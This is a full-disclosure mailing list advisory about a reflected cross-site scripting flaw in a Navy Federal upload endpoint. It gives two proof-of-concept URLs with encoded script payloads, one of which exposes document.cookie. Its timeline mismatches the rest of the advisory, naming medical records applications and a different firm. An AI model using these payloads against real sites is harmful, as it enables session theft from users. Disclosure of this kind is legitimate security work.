full-disclosure - [FD] Navy Federal Reflective Cross Site Scripting (XSS)

Open Source and information security mailing list archives

Date: Thu, 17 Sep 2020 21:14:51 +0000
From: Juan Avila <javila@...hrocyber.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Navy Federal Reflective Cross Site Scripting (XSS)

Vendor
-------------------------------------------------
Navy Federal - (https://www.navyfederal.org/

Product
-------------------------------------------------
Front pubic facing application

Credit
-------------------------------------------------
Arthrocyber
http://arthrocyber.com/research/#finding_7

David Reyes

Vulnerability Summary
-------------------------------------------------
The endpoint sdu.navyfederal.org/__85258014004953a3.nsf/secureUploadMain did not sanitize HTML characters. It was possible to pass HTML code which triggered an XSS.
Technical Details
-------------------------------------------------
The parameter "type" failed to properly sanitize HTML characters resulting in reflective XSS.

https://sdu.navyfederal.org/__85258014004953a3.nsf/secureUploadMain?OpenForm&Seq=1&Type=%22%3E%3Cscript%3Ealert(%225-2-17--Reflective-Arthrocyber-XSS%22)%3C/script%3E

https://sdu.navyfederal.org/__85258014004953a3.nsf/secureUploadMain?OpenForm&Seq=1&Type=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eß

Solution
-------------------------------------------------
Reference OWASP top 10.
https://owasp.org/www-community/attacks/xss/

Timeline
-------------------------------------------------
07 May 2019 - Adaptive Security Consulting discovered a series of vulnerabilities in medical records management and
search applications being considered by our client
September 2020 - Endpoint no longer appears to be vulnerable to XSS.


Juan Avila
Arthrocyber, LLC
Cell (682)238-7188


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